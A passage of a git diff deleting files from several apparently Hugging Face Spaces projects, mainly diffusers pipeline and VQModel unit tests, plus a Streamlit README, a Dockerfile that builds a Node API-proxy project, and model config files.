fid_value = calculate_frechet_distance(m1, s1, m2, s2) - return fid_value - - -if __name__ == '__main__': - args = parser.parse_args() - os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu - - fid_value = calculate_fid_given_paths(args.path, - args.batch_size, - args.gpu != '', - args.dims) - print('FID: ', fid_value) diff --git a/spaces/AlishbaImran/Redox-Flow-Battery-Prediction/README.md b/spaces/AlishbaImran/Redox-Flow-Battery-Prediction/README.md deleted file mode 100644 index a0df312e7ffe0563072a0f833877fc8e5bbb3f51..0000000000000000000000000000000000000000 --- a/spaces/AlishbaImran/Redox-Flow-Battery-Prediction/README.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Redox-Flow-Battery-Prediction -emoji: -colorFrom: pink -colorTo: red -sdk: streamlit -sdk_version: 1.10.0 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference -This work is built on top of the paper: https://chemrxiv.org/engage/chemrxiv/article-details/60c7575f469df44a40f45465 and platform: https://github.com/mcsorkun/RedPred-web \ No newline at end of file diff --git a/spaces/Amiminoru/whoreproxy/Dockerfile b/spaces/Amiminoru/whoreproxy/Dockerfile deleted file mode 100644 index 4cb0ce42128d9a2ad33a395883f5e5455a38c707..0000000000000000000000000000000000000000 --- a/spaces/Amiminoru/whoreproxy/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -FROM node:18-bullseye-slim -RUN apt-get update && \ - apt-get install -y git -RUN git clone https://gitgud.io/khanon/oai-reverse-proxy.git /app -WORKDIR /app -RUN npm install -COPY Dockerfile greeting.md* .env* ./ -RUN npm run build -EXPOSE 7860 -ENV NODE_ENV=production -CMD [ "npm", "start" ] \ No newline at end of file diff --git a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/models/test_models_vq.py b/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/models/test_models_vq.py deleted file mode 100644 index 5706c13a0c45323a93e2ed61ec585be6903df55b..0000000000000000000000000000000000000000 --- a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/models/test_models_vq.py +++ /dev/null @@ -1,96 +0,0 @@ -# coding=utf-8 -# Copyright 2023 HuggingFace Inc. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import unittest - -import torch - -from diffusers import VQModel -from diffusers.utils import floats_tensor, torch_device -from diffusers.utils.testing_utils import enable_full_determinism - -from .test_modeling_common import ModelTesterMixin, UNetTesterMixin - - -enable_full_determinism() - - -class VQModelTests(ModelTesterMixin, UNetTesterMixin, unittest.TestCase): - model_class = VQModel - main_input_name = "sample" - - @property - def dummy_input(self, sizes=(32, 32)): - batch_size = 4 - num_channels = 3 - - image = floats_tensor((batch_size, num_channels) + sizes).to(torch_device) - - return {"sample": image} - - @property - def input_shape(self): - return (3, 32, 32) - - @property - def output_shape(self): - return (3, 32, 32) - - def prepare_init_args_and_inputs_for_common(self): - init_dict = { - "block_out_channels": [32, 64], - "in_channels": 3, - "out_channels": 3, - "down_block_types": ["DownEncoderBlock2D", "DownEncoderBlock2D"], - "up_block_types": ["UpDecoderBlock2D", "UpDecoderBlock2D"], - "latent_channels": 3, - } - inputs_dict = self.dummy_input - return init_dict, inputs_dict - - def test_forward_signature(self): - pass - - def test_training(self): - pass - - def test_from_pretrained_hub(self): - model, loading_info = VQModel.from_pretrained("fusing/vqgan-dummy", output_loading_info=True) - self.assertIsNotNone(model) - self.assertEqual(len(loading_info["missing_keys"]), 0) - - model.to(torch_device) - image = model(**self.dummy_input) - - assert image is not None, "Make sure output is not None" - - def test_output_pretrained(self): - model = VQModel.from_pretrained("fusing/vqgan-dummy") - model.to(torch_device).eval() - - torch.manual_seed(0) - if torch.cuda.is_available(): - torch.cuda.manual_seed_all(0) - - image = torch.randn(1, model.config.in_channels, model.config.sample_size, model.config.sample_size) - image = image.to(torch_device) - with torch.no_grad(): - output = model(image).sample - - output_slice = output[0, -1, -3:, -3:].flatten().cpu() - # fmt: off - expected_output_slice = torch.tensor([-0.0153, -0.4044, -0.1880, -0.5161, -0.2418, -0.4072, -0.1612, -0.0633, -0.0143]) - # fmt: on - self.assertTrue(torch.allclose(output_slice, expected_output_slice, atol=1e-3)) diff --git a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/pipelines/test_pipelines_common.py b/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/pipelines/test_pipelines_common.py deleted file mode 100644 index 1c71e2a908bcbb4d8472484a322dbb036ba72e01..0000000000000000000000000000000000000000 --- a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/pipelines/test_pipelines_common.py +++ /dev/null @@ -1,804 +0,0 @@ -import contextlib -import gc -import inspect -import io -import re -import tempfile -import unittest -from typing import Callable, Union - -import numpy as np -import PIL -import torch - -import diffusers -from diffusers import DiffusionPipeline -from diffusers.image_processor import VaeImageProcessor -from diffusers.schedulers import KarrasDiffusionSchedulers -from diffusers.utils import logging -from diffusers.utils.import_utils import is_accelerate_available, is_accelerate_version, is_xformers_available -from diffusers.utils.testing_utils import CaptureLogger, require_torch, torch_device - - -def to_np(tensor): - if isinstance(tensor, torch.Tensor): - tensor = tensor.detach().cpu().numpy() - - return tensor - - -def check_same_shape(tensor_list): - shapes = [tensor.shape for tensor in tensor_list] - return all(shape == shapes[0] for shape in shapes[1:]) - - -class PipelineLatentTesterMixin: - """ - This mixin is designed to be used with PipelineTesterMixin and unittest.TestCase classes. - It provides a set of common tests for PyTorch pipeline that has vae, e.g. - equivalence of different input and output types, etc. - """ - - @property - def image_params(self) -> frozenset: - raise NotImplementedError( - "You need to set the attribute `image_params` in the child test class. " - "`image_params` are tested for if all accepted input image types (i.e. `pt`,`pil`,`np`) are producing same results" - ) - - @property - def image_latents_params(self) -> frozenset: - raise NotImplementedError( - "You need to set the attribute `image_latents_params` in the child test class. " - "`image_latents_params` are tested for if passing latents directly are producing same results" - ) - - def get_dummy_inputs_by_type(self, device, seed=0, input_image_type="pt", output_type="np"): - inputs = self.get_dummy_inputs(device, seed) - - def convert_to_pt(image): - if isinstance(image, torch.Tensor): - input_image = image - elif isinstance(image, np.ndarray): - input_image = VaeImageProcessor.numpy_to_pt(image) - elif isinstance(image, PIL.Image.Image): - input_image = VaeImageProcessor.pil_to_numpy(image) - input_image = VaeImageProcessor.numpy_to_pt(input_image) - else: - raise ValueError(f"unsupported input_image_type {type(image)}") - return input_image - - def convert_pt_to_type(image, input_image_type): - if input_image_type == "pt": - input_image = image - elif input_image_type == "np": - input_image = VaeImageProcessor.pt_to_numpy(image) - elif input_image_type == "pil": - input_image = VaeImageProcessor.pt_to_numpy(image) - input_image = VaeImageProcessor.numpy_to_pil(input_image) - else: - raise ValueError(f"unsupported input_image_type {input_image_type}.") - return input_image - - for image_param in self.image_params: - if image_param in inputs.keys(): - inputs[image_param] = convert_pt_to_type( - convert_to_pt(inputs[image_param]).to(device), input_image_type - ) - - inputs["output_type"] = output_type - - return inputs - - def test_pt_np_pil_outputs_equivalent(self, expected_max_diff=1e-4): - self._test_pt_np_pil_outputs_equivalent(expected_max_diff=expected_max_diff) - - def _test_pt_np_pil_outputs_equivalent(self, expected_max_diff=1e-4, input_image_type="pt"): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe = pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - output_pt = pipe( - **self.get_dummy_inputs_by_type(torch_device, input_image_type=input_image_type, output_type="pt") - )[0] - output_np = pipe( - **self.get_dummy_inputs_by_type(torch_device, input_image_type=input_image_type, output_type="np") - )[0] - output_pil = pipe( - **self.get_dummy_inputs_by_type(torch_device, input_image_type=input_image_type, output_type="pil") - )[0] - - max_diff = np.abs(output_pt.cpu().numpy().transpose(0, 2, 3, 1) - output_np).max() - self.assertLess( - max_diff, expected_max_diff, "`output_type=='pt'` generate different results from `output_type=='np'`" - ) - - max_diff = np.abs(np.array(output_pil[0]) - (output_np * 255).round()).max() - self.assertLess(max_diff, 2.0, "`output_type=='pil'` generate different results from `output_type=='np'`") - - def test_pt_np_pil_inputs_equivalent(self): - if len(self.image_params) == 0: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe = pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - out_input_pt = pipe(**self.get_dummy_inputs_by_type(torch_device, input_image_type="pt"))[0] - out_input_np = pipe(**self.get_dummy_inputs_by_type(torch_device, input_image_type="np"))[0] - out_input_pil = pipe(**self.get_dummy_inputs_by_type(torch_device, input_image_type="pil"))[0] - - max_diff = np.abs(out_input_pt - out_input_np).max() - self.assertLess(max_diff, 1e-4, "`input_type=='pt'` generate different result from `input_type=='np'`") - max_diff = np.abs(out_input_pil - out_input_np).max() - self.assertLess(max_diff, 1e-2, "`input_type=='pt'` generate different result from `input_type=='np'`") - - def test_latents_input(self): - if len(self.image_latents_params) == 0: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.image_processor = VaeImageProcessor(do_resize=False, do_normalize=False) - pipe = pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - out = pipe(**self.get_dummy_inputs_by_type(torch_device, input_image_type="pt"))[0] - - vae = components["vae"] - inputs = self.get_dummy_inputs_by_type(torch_device, input_image_type="pt") - generator = inputs["generator"] - for image_param in self.image_latents_params: - if image_param in inputs.keys(): - inputs[image_param] = ( - vae.encode(inputs[image_param]).latent_dist.sample(generator) * vae.config.scaling_factor - ) - out_latents_inputs = pipe(**inputs)[0] - - max_diff = np.abs(out - out_latents_inputs).max() - self.assertLess(max_diff, 1e-4, "passing latents as image input generate different result from passing image") - - -@require_torch -class PipelineKarrasSchedulerTesterMixin: - """ - This mixin is designed to be used with unittest.TestCase classes. - It provides a set of common tests for each PyTorch pipeline that makes use of KarrasDiffusionSchedulers - equivalence of dict and tuple outputs, etc. - """ - - def test_karras_schedulers_shape(self): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - - # make sure that PNDM does not need warm-up - pipe.scheduler.register_to_config(skip_prk_steps=True) - - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - inputs = self.get_dummy_inputs(torch_device) - inputs["num_inference_steps"] = 2 - - if "strength" in inputs: - inputs["num_inference_steps"] = 4 - inputs["strength"] = 0.5 - - outputs = [] - for scheduler_enum in KarrasDiffusionSchedulers: - if "KDPM2" in scheduler_enum.name: - inputs["num_inference_steps"] = 5 - - scheduler_cls = getattr(diffusers, scheduler_enum.name) - pipe.scheduler = scheduler_cls.from_config(pipe.scheduler.config) - output = pipe(**inputs)[0] - outputs.append(output) - - if "KDPM2" in scheduler_enum.name: - inputs["num_inference_steps"] = 2 - - assert check_same_shape(outputs) - - -@require_torch -class PipelineTesterMixin: - """ - This mixin is designed to be used with unittest.TestCase classes. - It provides a set of common tests for each PyTorch pipeline, e.g. saving and loading the pipeline, - equivalence of dict and tuple outputs, etc. - """ - - # Canonical parameters that are passed to `__call__` regardless - # of the type of pipeline. They are always optional and have common - # sense default values. - required_optional_params = frozenset( - [ - "num_inference_steps", - "num_images_per_prompt", - "generator", - "latents", - "output_type", - "return_dict", - "callback", - "callback_steps", - ] - ) - - # set these parameters to False in the child class if the pipeline does not support the corresponding functionality - test_attention_slicing = True - - test_xformers_attention = True - - def get_generator(self, seed): - device = torch_device if torch_device != "mps" else "cpu" - generator = torch.Generator(device).manual_seed(seed) - return generator - - @property - def pipeline_class(self) -> Union[Callable, DiffusionPipeline]: - raise NotImplementedError( - "You need to set the attribute `pipeline_class = ClassNameOfPipeline` in the child test class. " - "See existing pipeline tests for reference." - ) - - def get_dummy_components(self): - raise NotImplementedError( - "You need to implement `get_dummy_components(self)` in the child test class. " - "See existing pipeline tests for reference." - ) - - def get_dummy_inputs(self, device, seed=0): - raise NotImplementedError( - "You need to implement `get_dummy_inputs(self, device, seed)` in the child test class. " - "See existing pipeline tests for reference." - ) - - @property - def params(self) -> frozenset: - raise NotImplementedError( - "You need to set the attribute `params` in the child test class. " - "`params` are checked for if all values are present in `__call__`'s signature." - " You can set `params` using one of the common set of parameters defined in `pipeline_params.py`" - " e.g., `TEXT_TO_IMAGE_PARAMS` defines the common parameters used in text to " - "image pipelines, including prompts and prompt embedding overrides." - "If your pipeline's set of arguments has minor changes from one of the common sets of arguments, " - "do not make modifications to the existing common sets of arguments. I.e. a text to image pipeline " - "with non-configurable height and width arguments should set the attribute as " - "`params = TEXT_TO_IMAGE_PARAMS - {'height', 'width'}`. " - "See existing pipeline tests for reference." - ) - - @property - def batch_params(self) -> frozenset: - raise NotImplementedError( - "You need to set the attribute `batch_params` in the child test class. " - "`batch_params` are the parameters required to be batched when passed to the pipeline's " - "`__call__` method. `pipeline_params.py` provides some common sets of parameters such as " - "`TEXT_TO_IMAGE_BATCH_PARAMS`, `IMAGE_VARIATION_BATCH_PARAMS`, etc... If your pipeline's " - "set of batch arguments has minor changes from one of the common sets of batch arguments, " - "do not make modifications to the existing common sets of batch arguments. I.e. a text to " - "image pipeline `negative_prompt` is not batched should set the attribute as " - "`batch_params = TEXT_TO_IMAGE_BATCH_PARAMS - {'negative_prompt'}`. " - "See existing pipeline tests for reference." - ) - - def tearDown(self): - # clean up the VRAM after each test in case of CUDA runtime errors - super().tearDown() - gc.collect() - torch.cuda.empty_cache() - - def test_save_load_local(self, expected_max_difference=1e-4): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output = pipe(**inputs)[0] - - logger = logging.get_logger("diffusers.pipelines.pipeline_utils") - logger.setLevel(diffusers.logging.INFO) - - with tempfile.TemporaryDirectory() as tmpdir: - pipe.save_pretrained(tmpdir) - - with CaptureLogger(logger) as cap_logger: - pipe_loaded = self.pipeline_class.from_pretrained(tmpdir) - - for name in pipe_loaded.components.keys(): - if name not in pipe_loaded._optional_components: - assert name in str(cap_logger) - - pipe_loaded.to(torch_device) - pipe_loaded.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output_loaded = pipe_loaded(**inputs)[0] - - max_diff = np.abs(to_np(output) - to_np(output_loaded)).max() - self.assertLess(max_diff, expected_max_difference) - - def test_pipeline_call_signature(self): - self.assertTrue( - hasattr(self.pipeline_class, "__call__"), f"{self.pipeline_class} should have a `__call__` method" - ) - - parameters = inspect.signature(self.pipeline_class.__call__).parameters - - optional_parameters = set() - - for k, v in parameters.items(): - if v.default != inspect._empty: - optional_parameters.add(k) - - parameters = set(parameters.keys()) - parameters.remove("self") - parameters.discard("kwargs") # kwargs can be added if arguments of pipeline call function are deprecated - - remaining_required_parameters = set() - - for param in self.params: - if param not in parameters: - remaining_required_parameters.add(param) - - self.assertTrue( - len(remaining_required_parameters) == 0, - f"Required parameters not present: {remaining_required_parameters}", - ) - - remaining_required_optional_parameters = set() - - for param in self.required_optional_params: - if param not in optional_parameters: - remaining_required_optional_parameters.add(param) - - self.assertTrue( - len(remaining_required_optional_parameters) == 0, - f"Required optional parameters not present: {remaining_required_optional_parameters}", - ) - - def test_inference_batch_consistent(self, batch_sizes=[2, 4, 13]): - self._test_inference_batch_consistent(batch_sizes=batch_sizes) - - def _test_inference_batch_consistent( - self, batch_sizes=[2, 4, 13], additional_params_copy_to_batched_inputs=["num_inference_steps"] - ): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - - logger = logging.get_logger(pipe.__module__) - logger.setLevel(level=diffusers.logging.FATAL) - - # batchify inputs - for batch_size in batch_sizes: - batched_inputs = {} - for name, value in inputs.items(): - if name in self.batch_params: - # prompt is string - if name == "prompt": - len_prompt = len(value) - # make unequal batch sizes - batched_inputs[name] = [value[: len_prompt // i] for i in range(1, batch_size + 1)] - - # make last batch super long - batched_inputs[name][-1] = 100 * "very long" - # or else we have images - else: - batched_inputs[name] = batch_size * [value] - elif name == "batch_size": - batched_inputs[name] = batch_size - else: - batched_inputs[name] = value - - for arg in additional_params_copy_to_batched_inputs: - batched_inputs[arg] = inputs[arg] - - batched_inputs["output_type"] = "np" - - if self.pipeline_class.__name__ == "DanceDiffusionPipeline": - batched_inputs.pop("output_type") - - output = pipe(**batched_inputs) - - assert len(output[0]) == batch_size - - batched_inputs["output_type"] = "np" - - if self.pipeline_class.__name__ == "DanceDiffusionPipeline": - batched_inputs.pop("output_type") - - output = pipe(**batched_inputs)[0] - - assert output.shape[0] == batch_size - - logger.setLevel(level=diffusers.logging.WARNING) - - def test_inference_batch_single_identical(self, batch_size=3, expected_max_diff=1e-4): - self._test_inference_batch_single_identical(batch_size=batch_size, expected_max_diff=expected_max_diff) - - def _test_inference_batch_single_identical( - self, - batch_size=3, - test_max_difference=None, - test_mean_pixel_difference=None, - relax_max_difference=False, - expected_max_diff=1e-4, - additional_params_copy_to_batched_inputs=["num_inference_steps"], - ): - if test_max_difference is None: - # TODO(Pedro) - not sure why, but not at all reproducible at the moment it seems - # make sure that batched and non-batched is identical - test_max_difference = torch_device != "mps" - - if test_mean_pixel_difference is None: - # TODO same as above - test_mean_pixel_difference = torch_device != "mps" - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - - logger = logging.get_logger(pipe.__module__) - logger.setLevel(level=diffusers.logging.FATAL) - - # batchify inputs - batched_inputs = {} - batch_size = batch_size - for name, value in inputs.items(): - if name in self.batch_params: - # prompt is string - if name == "prompt": - len_prompt = len(value) - # make unequal batch sizes - batched_inputs[name] = [value[: len_prompt // i] for i in range(1, batch_size + 1)] - - # make last batch super long - batched_inputs[name][-1] = 100 * "very long" - # or else we have images - else: - batched_inputs[name] = batch_size * [value] - elif name == "batch_size": - batched_inputs[name] = batch_size - elif name == "generator": - batched_inputs[name] = [self.get_generator(i) for i in range(batch_size)] - else: - batched_inputs[name] = value - - for arg in additional_params_copy_to_batched_inputs: - batched_inputs[arg] = inputs[arg] - - if self.pipeline_class.__name__ != "DanceDiffusionPipeline": - batched_inputs["output_type"] = "np" - - output_batch = pipe(**batched_inputs) - assert output_batch[0].shape[0] == batch_size - - inputs["generator"] = self.get_generator(0) - - output = pipe(**inputs) - - logger.setLevel(level=diffusers.logging.WARNING) - if test_max_difference: - if relax_max_difference: - # Taking the median of the largest differences - # is resilient to outliers - diff = np.abs(output_batch[0][0] - output[0][0]) - diff = diff.flatten() - diff.sort() - max_diff = np.median(diff[-5:]) - else: - max_diff = np.abs(output_batch[0][0] - output[0][0]).max() - assert max_diff < expected_max_diff - - if test_mean_pixel_difference: - assert_mean_pixel_difference(output_batch[0][0], output[0][0]) - - def test_dict_tuple_outputs_equivalent(self, expected_max_difference=1e-4): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - output = pipe(**self.get_dummy_inputs(torch_device))[0] - output_tuple = pipe(**self.get_dummy_inputs(torch_device), return_dict=False)[0] - - max_diff = np.abs(to_np(output) - to_np(output_tuple)).max() - self.assertLess(max_diff, expected_max_difference) - - def test_components_function(self): - init_components = self.get_dummy_components() - pipe = self.pipeline_class(**init_components) - - self.assertTrue(hasattr(pipe, "components")) - self.assertTrue(set(pipe.components.keys()) == set(init_components.keys())) - - @unittest.skipIf(torch_device != "cuda", reason="float16 requires CUDA") - def test_float16_inference(self, expected_max_diff=1e-2): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - pipe_fp16 = self.pipeline_class(**components) - pipe_fp16.to(torch_device, torch.float16) - pipe_fp16.set_progress_bar_config(disable=None) - - output = pipe(**self.get_dummy_inputs(torch_device))[0] - output_fp16 = pipe_fp16(**self.get_dummy_inputs(torch_device))[0] - - max_diff = np.abs(to_np(output) - to_np(output_fp16)).max() - self.assertLess(max_diff, expected_max_diff, "The outputs of the fp16 and fp32 pipelines are too different.") - - @unittest.skipIf(torch_device != "cuda", reason="float16 requires CUDA") - def test_save_load_float16(self, expected_max_diff=1e-2): - components = self.get_dummy_components() - for name, module in components.items(): - if hasattr(module, "half"): - components[name] = module.to(torch_device).half() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output = pipe(**inputs)[0] - - with tempfile.TemporaryDirectory() as tmpdir: - pipe.save_pretrained(tmpdir) - pipe_loaded = self.pipeline_class.from_pretrained(tmpdir, torch_dtype=torch.float16) - pipe_loaded.to(torch_device) - pipe_loaded.set_progress_bar_config(disable=None) - - for name, component in pipe_loaded.components.items(): - if hasattr(component, "dtype"): - self.assertTrue( - component.dtype == torch.float16, - f"`{name}.dtype` switched from `float16` to {component.dtype} after loading.", - ) - - inputs = self.get_dummy_inputs(torch_device) - output_loaded = pipe_loaded(**inputs)[0] - - max_diff = np.abs(to_np(output) - to_np(output_loaded)).max() - self.assertLess( - max_diff, expected_max_diff, "The output of the fp16 pipeline changed after saving and loading." - ) - - def test_save_load_optional_components(self, expected_max_difference=1e-4): - if not hasattr(self.pipeline_class, "_optional_components"): - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - # set all optional components to None - for optional_component in pipe._optional_components: - setattr(pipe, optional_component, None) - - inputs = self.get_dummy_inputs(torch_device) - output = pipe(**inputs)[0] - - with tempfile.TemporaryDirectory() as tmpdir: - pipe.save_pretrained(tmpdir) - pipe_loaded = self.pipeline_class.from_pretrained(tmpdir) - pipe_loaded.to(torch_device) - pipe_loaded.set_progress_bar_config(disable=None) - - for optional_component in pipe._optional_components: - self.assertTrue( - getattr(pipe_loaded, optional_component) is None, - f"`{optional_component}` did not stay set to None after loading.", - ) - - inputs = self.get_dummy_inputs(torch_device) - output_loaded = pipe_loaded(**inputs)[0] - - max_diff = np.abs(to_np(output) - to_np(output_loaded)).max() - self.assertLess(max_diff, expected_max_difference) - - @unittest.skipIf(torch_device != "cuda", reason="CUDA and CPU are required to switch devices") - def test_to_device(self): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.set_progress_bar_config(disable=None) - - pipe.to("cpu") - model_devices = [component.device.type for component in components.values() if hasattr(component, "device")] - self.assertTrue(all(device == "cpu" for device in model_devices)) - - output_cpu = pipe(**self.get_dummy_inputs("cpu"))[0] - self.assertTrue(np.isnan(output_cpu).sum() == 0) - - pipe.to("cuda") - model_devices = [component.device.type for component in components.values() if hasattr(component, "device")] - self.assertTrue(all(device == "cuda" for device in model_devices)) - - output_cuda = pipe(**self.get_dummy_inputs("cuda"))[0] - self.assertTrue(np.isnan(to_np(output_cuda)).sum() == 0) - - def test_to_dtype(self): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.set_progress_bar_config(disable=None) - - model_dtypes = [component.dtype for component in components.values() if hasattr(component, "dtype")] - self.assertTrue(all(dtype == torch.float32 for dtype in model_dtypes)) - - pipe.to(torch_dtype=torch.float16) - model_dtypes = [component.dtype for component in components.values() if hasattr(component, "dtype")] - self.assertTrue(all(dtype == torch.float16 for dtype in model_dtypes)) - - def test_attention_slicing_forward_pass(self, expected_max_diff=1e-3): - self._test_attention_slicing_forward_pass(expected_max_diff=expected_max_diff) - - def _test_attention_slicing_forward_pass( - self, test_max_difference=True, test_mean_pixel_difference=True, expected_max_diff=1e-3 - ): - if not self.test_attention_slicing: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output_without_slicing = pipe(**inputs)[0] - - pipe.enable_attention_slicing(slice_size=1) - inputs = self.get_dummy_inputs(torch_device) - output_with_slicing = pipe(**inputs)[0] - - if test_max_difference: - max_diff = np.abs(to_np(output_with_slicing) - to_np(output_without_slicing)).max() - self.assertLess(max_diff, expected_max_diff, "Attention slicing should not affect the inference results") - - if test_mean_pixel_difference: - assert_mean_pixel_difference(output_with_slicing[0], output_without_slicing[0]) - - @unittest.skipIf( - torch_device != "cuda" or not is_accelerate_available() or is_accelerate_version("<", "0.14.0"), - reason="CPU offload is only available with CUDA and `accelerate v0.14.0` or higher", - ) - def test_cpu_offload_forward_pass(self, expected_max_diff=1e-4): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output_without_offload = pipe(**inputs)[0] - - pipe.enable_sequential_cpu_offload() - inputs = self.get_dummy_inputs(torch_device) - output_with_offload = pipe(**inputs)[0] - - max_diff = np.abs(to_np(output_with_offload) - to_np(output_without_offload)).max() - self.assertLess(max_diff, expected_max_diff, "CPU offloading should not affect the inference results") - - @unittest.skipIf( - torch_device != "cuda" or not is_xformers_available(), - reason="XFormers attention is only available with CUDA and `xformers` installed", - ) - def test_xformers_attention_forwardGenerator_pass(self): - self._test_xformers_attention_forwardGenerator_pass() - - def _test_xformers_attention_forwardGenerator_pass( - self, test_max_difference=True, test_mean_pixel_difference=True, expected_max_diff=1e-4 - ): - if not self.test_xformers_attention: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - output_without_offload = pipe(**inputs)[0] - output_without_offload = ( - output_without_offload.cpu() if torch.is_tensor(output_without_offload) else output_without_offload - ) - - pipe.enable_xformers_memory_efficient_attention() - inputs = self.get_dummy_inputs(torch_device) - output_with_offload = pipe(**inputs)[0] - output_with_offload = ( - output_with_offload.cpu() if torch.is_tensor(output_with_offload) else output_without_offload - ) - - if test_max_difference: - max_diff = np.abs(output_with_offload - output_without_offload).max() - self.assertLess(max_diff, expected_max_diff, "XFormers attention should not affect the inference results") - - if test_mean_pixel_difference: - assert_mean_pixel_difference(output_with_offload[0], output_without_offload[0]) - - def test_progress_bar(self): - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe.to(torch_device) - - inputs = self.get_dummy_inputs(torch_device) - with io.StringIO() as stderr, contextlib.redirect_stderr(stderr): - _ = pipe(**inputs) - stderr = stderr.getvalue() - # we can't calculate the number of progress steps beforehand e.g. for strength-dependent img2img, - # so we just match "5" in "#####| 1/5 [00:01<00:00]" - max_steps = re.search("/(.*?) ", stderr).group(1) - self.assertTrue(max_steps is not None and len(max_steps) > 0) - self.assertTrue( - f"{max_steps}/{max_steps}" in stderr, "Progress bar should be enabled and stopped at the max step" - ) - - pipe.set_progress_bar_config(disable=True) - with io.StringIO() as stderr, contextlib.redirect_stderr(stderr): - _ = pipe(**inputs) - self.assertTrue(stderr.getvalue() == "", "Progress bar should be disabled") - - def test_num_images_per_prompt(self): - sig = inspect.signature(self.pipeline_class.__call__) - - if "num_images_per_prompt" not in sig.parameters: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe = pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - batch_sizes = [1, 2] - num_images_per_prompts = [1, 2] - - for batch_size in batch_sizes: - for num_images_per_prompt in num_images_per_prompts: - inputs = self.get_dummy_inputs(torch_device) - - for key in inputs.keys(): - if key in self.batch_params: - inputs[key] = batch_size * [inputs[key]] - - images = pipe(**inputs, num_images_per_prompt=num_images_per_prompt)[0] - - assert images.shape[0] == batch_size * num_images_per_prompt - - def test_cfg(self): - sig = inspect.signature(self.pipeline_class.__call__) - - if "guidance_scale" not in sig.parameters: - return - - components = self.get_dummy_components() - pipe = self.pipeline_class(**components) - pipe = pipe.to(torch_device) - pipe.set_progress_bar_config(disable=None) - - inputs = self.get_dummy_inputs(torch_device) - - inputs["guidance_scale"] = 1.0 - out_no_cfg = pipe(**inputs)[0] - - inputs["guidance_scale"] = 7.5 - out_cfg = pipe(**inputs)[0] - - assert out_cfg.shape == out_no_cfg.shape - - -# Some models (e.g. unCLIP) are extremely likely to significantly deviate depending on which hardware is used. -# This helper function is used to check that the image doesn't deviate on average more than 10 pixels from a -# reference image. -def assert_mean_pixel_difference(image, expected_image, expected_max_diff=10): - image = np.asarray(DiffusionPipeline.numpy_to_pil(image)[0], dtype=np.float32) - expected_image = np.asarray(DiffusionPipeline.numpy_to_pil(expected_image)[0], dtype=np.float32) - avg_diff = np.abs(image - expected_image).mean() - assert avg_diff < expected_max_diff, f"Error image deviates {avg_diff} pixels on average" diff --git a/spaces/Andy1621/uniformer_image_detection/configs/faster_rcnn/faster_rcnn_r101_fpn_2x_coco.py b/spaces/Andy1621/uniformer_image_detection/configs/faster_rcnn/faster_rcnn_r101_fpn_2x_coco.py deleted file mode 100644 index 9367a3c83aeb1e05f38f4db9fb0110e731dd859c..0000000000000000000000000000000000000000 --- a/spaces/Andy1621/uniformer_image_detection/configs/faster_rcnn/faster_rcnn_r101_fpn_2x_coco.py +++ /dev/null @@ -1,2 +0,0 @@ -_base_ = './faster_rcnn_r50_fpn_2x_coco.py' -model = dict(pretrained='torchvision://resnet101', backbone=dict(depth=101)) diff --git a/spaces/Andy1621/uniformer_image_segmentation/configs/nonlocal_net/nonlocal_r101-d8_769x769_80k_cityscapes.py b/spaces/Andy1621/uniformer_image_segmentation/configs/nonlocal_net/nonlocal_r101-d8_769x769_80k_cityscapes.py deleted file mode 